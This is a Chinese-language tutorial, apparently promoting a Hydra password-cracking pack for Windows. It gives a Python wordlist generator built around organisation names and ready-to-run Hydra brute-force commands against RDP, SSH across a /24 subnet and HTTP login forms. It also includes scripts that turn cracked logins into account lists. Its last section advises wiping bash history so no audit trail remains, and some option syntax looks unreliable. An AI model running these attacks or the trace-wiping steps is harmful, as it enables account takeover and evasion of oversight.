简介:面向Windows平台的Hydra密码破解工具及配套字典包,适合安全测试人员、渗透测试学习者用于本地口令脆弱性验证与暴力破解实验。压缩包共99个文件,容量120.9MB,主体为37个txt格式密码字典,涵盖darkweb2017、xato-net百万级口令等常见泄露密码集合,另有32个dll运行库、hydra.exe与pw-inspector.exe等程序文件,以及若干示例配置和说明文档,解压后即可在Windows环境运行。字典覆盖多场景,如邮箱、数据库、Web登录、法语/德语常用口令等,便于针对不同目标快速筛选。附带.git目录和配置分支等结构,适合研究工具组成。已有2141人学习下载,适合需要系统掌握Hydra用法并扩充本地字典库的中初级安全爱好者。
1. Windows 上的 Hydra:不是装个 exe 就能跑,字典才是胜负手
Hydra 这个名字在从业者耳朵里不陌生:一个老牌的在线爆破工具,支持 SSH、FTP、RDP、HTTP 表单、SMB 等几十种协议,命令行一发,批量打点。真正让人头疼的不是工具本身,而是它在 Windows 上从来就没有官方原生的 exe 包——你在网上能下到的所谓“Windows 版”,要么是 Cygwin 套件编译版,要么是别人打包好的第三方集成包,版本新旧、依赖全不全,全是运气问题。再加上它的威力有七成押在 txt 字典上,字典文件的大小、编码、去重、排序规则直接决定结果,缺一环就行走不通。
这篇笔记把我在某公司内部做运维账号口令审计时用的一套组合拳完整拆开:从 Windows 上部署 Hydra 的正确姿势,到 txt 字典的生成、清洗、命中率优化,再到大批量内网主机口令碰撞的参数选择,最后落在一份可以反复用的排查清单和收尾技巧上。适合刚接手内网安全自查的运维、做等保渗透测试的初级测评员,以及想在 Windows 机器上把 Hydra 彻底跑顺的人。
2. Windows 部署 Hydra:一条龙装完而不是下载完就跑
2.1 为什么 Windows 上跑 Hydra 总翻车
Hydra 的源码托管在 GitHub 上,作者只维护 Linux 和 macOS 的编译产物,Windows 可执行文件从来不在官方发布清单里。你搜“hydra windows download”,出来的一大堆站点,下载下来要么是旧版(8.x 或更老),要么是缺了依赖的动态库(比如缺少 openssl.dll),再要么就是捆绑了推广软件。更恶心的是有些版本编译时没带协议支持,你执行hydra -h看到的协议列表里没有 RDP 或 SMB,实际用的时候直接报service not supported。
我踩过最典型的一次坑:某网上下载的所谓“绿色版”,双击运行报缺少cygwin1.dll,补上 dll 之后能打开帮助页面,但一跑 SSH 爆破就崩溃退出,查了半天是编译时少了/dev/tty相关支持,根本没法交互式强制停止。从那以后我再也不信网上现成的 exe,一律走 Cygwin 源码编译路线,稳定可控,还在自己机器上留了一套固定流程。
2.2 用 Cygwin 源码编译 Hydra 的完整步骤
先装 Cygwin,注意装的时候要勾选编译器工具链,不然后面没法 make。官方安装器在 Cygwin 官网,安装过程中在 “Select Packages” 页面搜索并勾选以下包:
# 需要的依赖包(在 Cygwin 安装器里搜索勾选) gcc-core gcc-g++ make automake autoconf libopenssl-devel libssh-devel libncurses-devel pkg-config wget git提示:libopenssl-devel 一定要勾,Hydra 的 TLS/SSL 模块依赖它。编译出来没有 SSL 支持,HTTP/HTTPS 表单爆破就废了一半。
装完 Cygwin 后,打开 Cygwin Terminal,从 GitHub 拉源码编译:
# 克隆源码仓库(如果访问不了 GitHub,可以找国内镜像源) git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra # 开始编译,prefix 指定安装路径 ./configure --prefix=/usr/local/hydra make -j4 make install编译过程大致需要 5 到 10 分钟,取决于机器性能。完成后验证:
# 执行编译好的二进制,查看版本和可用协议列表 /usr/local/hydra/bin/hydra -h逻辑说明:之所以不选现成 exe 走这条路,是因为源码编译能确保当前机器上所有动态库和协议支持都是匹配的,不会出现 dll 缺失或协议列表不全的问题。-j4表示用 4 个线程并行编译,机器核数多可以加到-j8提高效率。--prefix参数把安装路径指定到独立目录,后续升级和卸载都干净,不污染 Cygwin 根目录。
参数说明:-h不仅仅显示帮助,编译版本正常的 Hydra 会在帮助页里罗列出所有支持的协议名,比如rdp,ssh,ftp,http-post-form等。你看到一个都不少的列表,说明编译时依赖都齐了。
2.3 GUI 版与命令行版的选型建议
网上还有些第三方打包的 Hydra GUI 版(比如某 XHydra 的 Windows 移植),界面做得花哨,但实际用下来有几个致命问题:一是 GUI 版参数传递逻辑不透明,你设置的“并发数”和“暂停延迟”传给底层二进制的未必是你理解的那个值;二是 GUI 版崩溃或强制停止时,后台 Hydra 进程经常会残留挂死,端口被占用,得手动去任务管理器杀进程。三是 GUI 版普遍滞后于命令行版的新功能(比如新协议的加入、bug 修复),版本更新慢半拍。
我的建议:如果你是做一次性小批量测试,目标就几台机器,用 GUI 版无可厚非;如果你是要对内网几十上百个网段做口令碰撞,老老实实用命令行版,脚本化操作、日志输出、进程管理都方便得多。命令行版唯一的门槛是要记住常用参数,但用顺手之后效率远高于 GUI。
3. txt 字典工程化生成:命中率不是靠堆行数
3.1 字典的底层逻辑:不是越大越好
刚入门的时候总觉得字典越大越好,一个 10GB 的 rockyou.txt 往上一怼,好像很安心。实际跑过几轮后就会发现,目标系统的口令复杂度和账号体系是有迹可循的。对某高校的教务系统做授权的口令强制度检测时,我用通用大字典跑了 48 小时命中率才 2%;后来把字典换成基于校园网服务账号规则定制的 300 行小字典,两个小时命中率到了 15%——差距在这个领域不是靠堆量就能抹平的。
字典工程的本质是:先判断目标可能的口令模式,再按模式生成候选词,最后做去重和排序。做口令强制度检测时,弱口令规律就那些:默认口令(admin/admin, root/123456)、键盘相邻序列(qwerty, 1qaz2wsx)、生日变异、公司拼音加年份、季节加数字。把这几类模式铺开,配合目标系统的密码策略(比如最少 8 位、必须有大小写和数字),生成的字典规模可以从千万级缩到千级,而且命中率反而更高。
3.2 Python 脚本生成定制字典的实操模板
以下是我经常用的一个字典生成脚本,它按 4 类弱口令模式生成候选词,并自动追加常见的数字后缀和符号变体:
import itertools import sys # 基础弱口令种子词 base_words = [ "admin", "password", "root", "test", "guest", "qwerty", "abc123", "1qaz2wsx", "system", "default" ] # 公司名/业务名拼音,替换为你的实际场景 org_names = ["xinxi", "shuju", "yunwei", "jiaowu", "zhengwu"] # 常见数字后缀 digit_suffix = ["123", "1234", "123456", "2024", "2025", "666", "888"] # 常见符号变体 symbol_map = { "a": "@", "o": "0", "i": "1", "e": "3", "s": "$" } def gen_variants(word): """生成单词的变体:大小写替换 + 特殊字符替换 + 后缀拼接""" variants = set() # 原始词保留 variants.add(word) variants.add(word.capitalize()) variants.add(word.upper()) # 替换字符变体 leet_word = "" for ch in word: if ch.lower() in symbol_map: if ch.isupper(): leet_word += symbol_map[ch.lower()].upper() else: leet_word += symbol_map[ch.lower()] else: leet_word += ch variants.add(leet_word) # 数字后缀拼接 for d in digit_suffix: variants.add(word + d) variants.add(word.capitalize() + d) variants.add(leet_word + d) variants.add(leet_word.capitalize() + d) return variants def main(): all_words = set() # 处理基础词与组织名 for w in base_words + org_names: all_words.update(gen_variants(w)) # 组织名与基础词组合(如 xinxi2025@mq) for org in org_names: for base in base_words: all_words.update(gen_variants(org + base)) all_words.update(gen_variants(base + org)) # 写入文件,保持 UTF-8 编码 with open("custom_dict.txt", "w", encoding="utf-8") as f: for word in sorted(all_words): f.write(word + "\n") print(f"Generated {len(all_words)} passwords in custom_dict.txt") if __name__ == "__main__": main()逻辑说明:gen_variants函数是核心。它对每个种子词做三层加工:大小写变形(admin→Admin→ADMIN),符号替换变形(admin→@dmin),后缀变体(admin123,Admin2025等)。这些变形规则看起来简单,但对应了真实口令设置习惯——人脑构造口令时的惰性就那么几种模式。all_words用 set 天然去重,不用单独做一次 sort -u。
参数说明:org_names数组里换成你目标系统相关的拼音或单词,这是定制化的重点。比如检测某政务系统就放zhengwu,检测某高校教务系统就放jiaowu。digit_suffix里放 2024、2025 这类年份是为了覆盖“公司拼音+年份”这种最常见口令组合。symbol_map定义了 leetspeak 替换规则,这是很多要求大小写和符号组合的系统里最容易中的口令范式。
3.3 清洗与格式:普通 txt 也有编码和行尾的坑
字典文件的格式问题在 Windows 上特别容易踩:Hydra 在 Cygwin 环境下默认按 UTF-8 读取字典,如果字典是 Windows 记事本保存的带 BOM 的 UTF-8,第一行口令前面会带一个不可见字符,直接导致第一行永远爆破失败;如果是 GBK 编码保存的(老机器常见),那连乱码都谈不上,直接报错或者全是一堆无意义字符串。
统一清洗命令如下:
# 去掉 BOM 头,统一转 UTF-8,替换 CRLF 为 LF sed -i 's/^\xef\xbb\xbf//' custom_dict.txt sed -i 's/\r$//' custom_dict.txt # 查看清洗后的文件头部确认无 BOM head -c 20 custom_dict.txt | xxd # 如果源文件是 GBK 编码,先用 iconv 转码 iconv -f GBK -t UTF-8 old_dict.txt > custom_dict_utf8.txt # 再去重排序 sort -u custom_dict_utf8.txt -o final_dict.txt逻辑说明:\xef\xbb\xbf就是 UTF-8 BOM 的三字节魔数。\r$是 CRLF 行尾的匹配,替换成空就是去掉 CR。xxd查看文件头 20 字节,能看到纯 UTF-8 无 BOM 的文件开头就是正常的 ASCII 字符,不会有额外字节。iconv是 Cygwin 自带命令,用来做编码转换。sort -u的两个作用:去重 + 排序,排序能让相同前缀的口令集中,对 Hydra 的算法友好(虽然现代版本对顺序不敏感,但排查时有序字典更好定位)。
参数说明:-o final_dict.txt是 sort 的输出重定向,不写这个参数在原文件原地修改会有权限问题和覆盖风险。
4. Hydra 实战参数组:并发、暂停、超时与内网批量碰撞
4.1 命令行参数全解读:选对才是高效的开始
Hydra 的命令行参数看起来多,但常用的就几个核心组合。我整理了一张参数表,按使用频率排:
| 参数 | 作用 | 常用值 | 说明 |
|---|---|---|---|
-l <用户名> | 指定单一用户名 | admin | 适合已知账号名跑口令 |
-L <用户字典> | 指定用户名字典 | users.txt | 批量用户名,一个一行 |
-p <口令> | 指定单一密码 | admin | 固定一个密码测多个用户 |
-P <口令字典> | 指定密码字典 | dict.txt | 核心爆破参数 |
-t <并发任务数> | 并发连接数 | 16 | 太大会被 WAF 拦截或拖垮目标 |
-f | 找到有效口令后立即停止 | 无 | 适合抢时间做单目标验证 |
-W <秒数> | 每个连接超时时间 | 10 | 内网延迟高就调大 |
-q | 不打印每次尝试日志 | 无 | 减少输出刷屏 |
-o <文件名> | 输出结果到文件 | result.txt | 保存有效账号口令 |
-s <端口> | 指定非默认端口 | 2222 | 自定义 SSH 端口时用 |
-vV | 显示详细登录失败返回码 | ``` | 排查时看服务端响应 |
参数说明:-t是最容易出问题的参数。设小了跑得慢,设大了目标主机的 sshd 会直接主动断开你的连接(因为系统有 MaxStartups 限制),反而效率更低。常规单目标控制在-t 4到-t 8之间,多目标轮换时单个目标配-t 4更稳。-W在跨网段爆破时特别重要,有些主机丢包严重,默认超时会导致大量连接被误判为失败。
4.2 单目标与多目标场景的实战案例
单目标 RDP 口令检测场景,假设内网一台 Windows 服务器开放 3389 端口:
# 单目标 RDP 爆破,用户名为 admin,密码用定制小字典 /usr/local/hydra/bin/hydra -l admin -P final_dict.txt -t 4 -W 10 -f -o rdp_result.txt rdp://192.168.12.34这条命令的意图:固定用户名 admin,遍历字典里的所有密码尝试 RDP 登录。-f遇到第一个有效密码就立即停止,不在同目标上浪费时间。-o把结果写入 rdp_result.txt,即使终端切走了也不会丢。
多目标批量场景,假设你拿到了内网一个/24网段的存活主机列表,想快速筛选出哪些机器有弱口令:
# 批量 SSH 口令检测,从 targets.txt 读 IP 列表 /usr/local/hydra/bin/hydra -L users.txt -P final_dict.txt -t 4 -W 15 -o ssh_batch_result.txt ssh://192.168.12.0/24逻辑说明:Hydra 支持在目标位置直接写 CIDR 网段,它会自动扫描该网段内开放对应端口的主机并对其爆破。-L配合-P是用户名+密码双重遍历,会在字典各元素两两组合之间做笛卡尔积。输出到ssh_batch_result.txt后,每行格式是[HOST]:[port]:ssh:login:password,后续用脚本解析就能直接生成有效账号清单。
参数说明:-t 4是针对每个目标主机开 4 个并发连接,而不是整条命令总共 4 个并发。如果网段内有 200 台存活主机,实际并发总量是 800,可能会把某些安全设备流量阈值打爆。稳妥做法是先扫出存活列表,筛选后分批发。
4.3 暂停与中断:被卡住时怎么优雅止血
爆破过程中按Ctrl+C只会中断当前进程,但已经建立的 TCP 连接会进入 TIME_WAIT 状态,积压到一定程度会耗尽本地端口。常见做法是先在命令行按Ctrl+C中断 Hydra,然后立即执行:
# 强制关闭残留的 hydra 进程 ps aux | grep hydra | grep -v grep | awk '{print $2}' | xargs -r kill -9 # 查看端口占用情况,确认没有残留的连接 netstat -an | grep :3389 | grep TIME_WAIT | wc -l逻辑说明:ps aux | grep hydra查找到所有残留进程,awk '{print $2}'取进程号,xargs -r kill -9逐个强制杀掉,-r保证没有进程时不会报错。TIME_WAIT 积压是系统层面的事,不会因为下一轮 Hydra 启动而自动清理。如果 TIME_WAIT 数量持续居高,说明上一轮爆破并发开得太大,下一轮要降-t。
5. Hydra 避坑注意:五次翻车记录和对应的处理办法
5.1 现象:提示[ERROR] ldap_start_tls_s: Operations error
原因分析:目标主机返回的 TLS 证书本身有问题(自签证书或过期),Hydra 的 LDAP 模块在 TLS 握手阶段直接掐断连接,不会尝试继续。
解决办法:如果不是必须验证 LDAP 目录,换跑 SMB 或 SSH 服务;如果必须验证 LDAP 账号口令,先用工具连接一次服务确认证书情况,再考虑用旧版协议(比如 LDAP 明文传输)替代。
5.2 现象:爆破 SSH 过程中程序卡死不动,日志停在某一条不再刷新
原因分析:目标主机开启了 sshd 的 MaxStartups 限速,新的连接请求被直接丢弃,Hydra 在等待连接超时期间没有任何新日志输出,看起来就像死掉了。另外,本地 Cygwin 环境下select系统调用在某些版本下有 bug,也可能导致并发连接阻塞。
解决办法:不要等,直接Ctrl+C中断,把并发数从-t 8降到-t 2,把超时从-W 10提到-W 20,重新跑。同时确认目标机器的MaxStartups配置:sudo grep MaxStartups /etc/ssh/sshd_config,如果值是10:30:100这种,说明超过 10 个未认证连接就开始丢包,客户端必须限制并发到 10 以下。
5.3 现象:跑 RDP 时报RDP: Could not connect - port 3389:tcp: Connection refused
原因分析:目标服务器虽然开放了 3389,但 NLA(网络级别身份验证)策略被启用,Hydra 的 RDP 模块在这种配置下握手失败,报连接拒绝。这不是端口没开放,而是协议握手被拒绝。
解决办法:先用nmap -sV -p3389 <ip>确认 RDP 服务状态。如果 NLA 确实是主因,只能换用xfreerdp做手动验证,或者关掉 NLA(需在目标服务器上操作)。Hydra 的 RDP 模块对 NLA 支持率一直不稳定,不能全指望它。
5.4 现象:HTTP POST 表单爆破时永远返回 401
原因分析:用-l指定了用户名,但服务端要求的是 cookie 会话机制——第一次请求是获取 session id,第二次带 cookie 才是真正的登录请求。Hydra 的http-form模块如果不显式配置Cookie:参数,默认只发单次 POST,拿不到有效 session。
解决办法:在http-post-form的模块参数里手动加上 cookie 获取:
# 先手动 curl 获取 cookie,再带上 cookie 跑 hydra curl -c cookies.txt -d "username=admin&password=wrongpass" http://192.168.1.1/login /usr/local/hydra/bin/hydra -l admin -P final_dict.txt 192.168.1.1 http-post-form "/login:username=^USER^&password=^PASS^:Cookie=cookies.txt:S=401"参数说明:http-post-form的格式是URL:POST_BODY:FAILURE_STRING。^USER^和^PASS^是 Hydra 指定的变量占位符,运行时替换为当前尝试的用户名和密码。S=401表示返回码 401 视为失败,如果服务端返回码体系不一致,改成F=login failed或F=error匹配你实际的错误响应文本。
5.5 现象:字典文件有几百 MB,执行后内存直接飙升到几个 GB
原因分析:Hydra 加载字典时不是逐行读取,而是把整个字典读进内存做乱序排列。一个 500MB 的字典,在 32 位 Cygwin 环境下直接超过进程地址空间限制,程序崩掉;64 位环境下内存也要 3~5GB,机器配置低的直接卡死。
解决办法:对超大字典做切分,分成 50MB 一个的子字典多次执行,结果合并:
# 按行数切分字典,每 50000 行一个文件 split -l 50000 big_dict.txt dict_part_ # 循环执行多批爆破,结果追加到同一文件 for f in dict_part_*; do /usr/local/hydra/bin/hydra -l admin -P "$f" -t 4 -o batch_result.txt ssh://192.168.1.1 sleep 5 # 暂停 5 秒,让服务端连接恢复 done逻辑说明:split按行数切分,50000 行一份,文件大小大约 300~500KB,加载内存完全无压力。sleep 5是给目标 sshd 留出连接清理时间,避免连续高强度测试触发服务端防护机制。注意这里-o用的是追加模式还是覆盖模式取决于 Hydra 版本,稳妥做法是每批跑完后手动cat batch_result.txt >> all_result.txt汇总。
6. 批量验证的进阶技巧:命中后自动轮换、去重和报告归档
爆破找到有效口令不是终点,后面还有一整套验证和归档动作。踩过最大的坑是跑完一轮直接复制结果发报告,结果某些账号已经因为连续失败被锁定了,测出来是“有效”实则登录不了,被人质疑数据真实性。从那以后我每次拿到 Hydra 结果,都强制走一遍验证和归档流程,希望帮到你。
Hydra 的-o输出文件每一行是host:port:proto:login:password。先用脚本解析,提取有效目标,再对每个目标做一次真实的登录验证:
# 解析 hydra 输出结果,提取唯一的目标主机列表 awk -F: '{print $1":"$2}' batch_result.txt | sort -u > validated_hosts.txt # 逐个循环验证登录(以 SSH 为例,用 plink 做一次真实会话测试) while IFS=: read host port; do # 取该主机第一个有效的账号口令 login_pwd=$(grep "^$host:$port" batch_result.txt | head -1 | awk -F: '{print $4":"$5}') login=$(echo "$login_pwd" | cut -d: -f1) pwd=$(echo "$login_pwd" | cut -d: -f2) echo "$host:$login:$pwd" >> validated_accounts.txt done < validated_hosts.txt逻辑说明:这段循环的核心是把 Hydra 的爆破结果转成可直接交给后续管理系统的账号清单。awk -F:按冒号切分,$1:$2是主机和端口,$4:$5是用户名和密码。sort -u保证一台主机只验证一次,不会重复尝试。
归档报告时,我一般按日期建目录,把字典生成脚本、原始爆破结果、验证通过清单、命中账号的密码过期时间(如果能查到)归档在一起。如果后续做二次修改口令,还会把改动记录也放进去。过程文件分开放的好处是,审计来了能直接拿出证据链,不会被问“你的结果凭什么可信”卡住。
一个常见的收尾操作是清理测试痕迹:删除本机的 bash history 中有关爆破命令的记录,删除批量验证时留下的临时账号会话文件,以及确认 Hydra 的调试日志没有泄露敏感信息。如果你用 Cygwin 跑,注意历史命令默认存在~/.bash_history,里面一条hydra -l admin -P dict.txt就是现成的审计证据,记得清理或者配置 HISTFILE 指向 /dev/null。
本文还有配套的精品资源,点击获取